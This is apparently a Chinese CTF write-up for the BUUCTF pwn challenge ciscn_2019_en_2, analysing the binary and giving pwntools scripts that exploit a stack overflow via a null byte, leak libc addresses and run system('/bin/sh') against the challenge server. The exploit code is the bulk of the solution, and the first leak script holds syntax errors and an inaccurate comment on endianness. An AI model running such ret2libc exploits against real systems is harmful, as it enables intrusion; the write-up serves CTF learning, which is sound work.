[CTF]BUUCTF-PWN-ciscn_2019_en_2

程序分析

main

在这里插入图片描述

  • __isoc99_scanf("%d", &v4); - 从标准输入读取一个整数并存储到变量v4中。
  • getchar(); - 读取并丢弃标准输入中的一个字符。

程序的逻辑大致如下:

  1. 打印欢迎信息,并调用函数begin()。

  2. 进入一个无限循环,循环内部有一个读取输入的循环,如果读取到的整数为2,重新调用函数begin()。

  3. 如果读取到的整数为3,打印"Bye!"并退出程序。

  4. 如果读取到的整数不是1或2或3,则打印"Something Wrong!"并退出程序。

  5. 如果读取到的整数为1,则调用函数encrypt(),然后再次调用函数begin()

    下面看一下encrypt函数

  • 因此,只有输入1有用,encrypt较为重要
encrypt

在这里插入图片描述

  • 程序通过一个变量x来控制当前遍历到字符串s的哪个位置,每次循环先将x强制转换为无符号整型,赋值给变量v0。然后判断v0是否大于或等于s的长度strlen(s)

  • v0的值(即遍历加密前的明文字符串s的索引)大于等于s字符串(用户输入的0)的长度(即已经遍历完了整个字符串),则退出循环

  • strlen(s)是一个字符串函数,用于计算一个字符串的长度。如果v0已经等于或大于s字符串的长度,说明已经对整个字符串进行了加密操作,循环可以结束了

解题思路

  • get()存在栈溢出漏洞

  • 用\x00绕过strlen(),形成栈溢出

  • 泄露puts()地址,打常规ret2libc

利用栈溢出泄露puts地址
from pwn import*

r = process()
lib = ELF()
elf = ELF()

puts_plt = elf.plt['puts']
puts_got = elf.got["puts"]
rdi_addr = 0x400c83
main_addr = elf.symbols["main"]
ret = 0x4006b9

payload = b'\x00' + b'M'(0x50+8-1) + p64(rdi_addr) + p64(puts_got) +p64(puts_plt) + p64(main_addr)
r.recv()
r.sendline(b"1")
r.recv()
r.sendline(payload)
r.recvline()
r.recvline()
puts_addr = u64(r,recv(6).ljust(8),b'\x00'))
//从远程连接(通过 r 变量)接收6字节的数据,并将其填充为8字节(使用 ljust(8) 方法),然后将这个8字节的数据转换成一个64位的整数(使用 u64 函数),并将结果存储在 puts_addr 变量中。在将8字节数据转换成64位整数时,使用了一个参数 b'\x00',该参数指示转换是以小端字节序进行的。因此,如果远程连接发送的6个字节的数据不足8个字节,那么该代码将使用 \x00 字节填充剩余的2个字节。
print("puts_addr:" + hex(puts_addr))
完整exp
from pwn import*
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')

p=remote('node4.buuoj.cn',26265)
elf=ELF('/home/kongxiangheng/pwnttt/ciscn_2019_en_2' )

rdi_addr=0x400c83
//400c83 : pop rdi ; ret

ret_addr=0x4006b9
//4006b9 : ret

puts_plt=elf.sym["puts"]
__libc_start_main=elf.got["__libc_start_main"]
main_addr=elf.sym['main']

p.recv()
p.sendline(b'1')
//输入1有效,得以继续
payload1=b'\0'+b'A'*0x57+p64(rdi_addr)+p64(__libc_start_main)+p64(puts_plt)+p64(main_addr)
//用x00绕过strlen(s),形成栈溢出
p.recvuntil(b'Input your Plaintext to be encrypted\n')
p.sendline(payload1)

p.recvline()
p.recvline()
__main_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))

libc=LibcSearcher("__libc_start_main",__main_addr)
base=__main_addr-libc.dump('__libc_start_main')
system_addr=base+libc.dump('system')
binsh_addr=base+libc.dump('str_bin_sh')

p.recv()
p.sendline(b'1')
payload2=b'\0'+b'A'*0x57+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
//调用函数时第一个参数通常会被放到 rdi 寄存器中
//在调用 system 函数之前,先将 /bin/sh 字符串的地址放到 rdi 寄存器中,作为 system 函数的参数。这样 system("/bin/sh") 函数就会被执行,从而得到一个 shell

p.recvuntil(b'encrypted\n')
p.sendline(payload2)

p.interactive()                                     
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值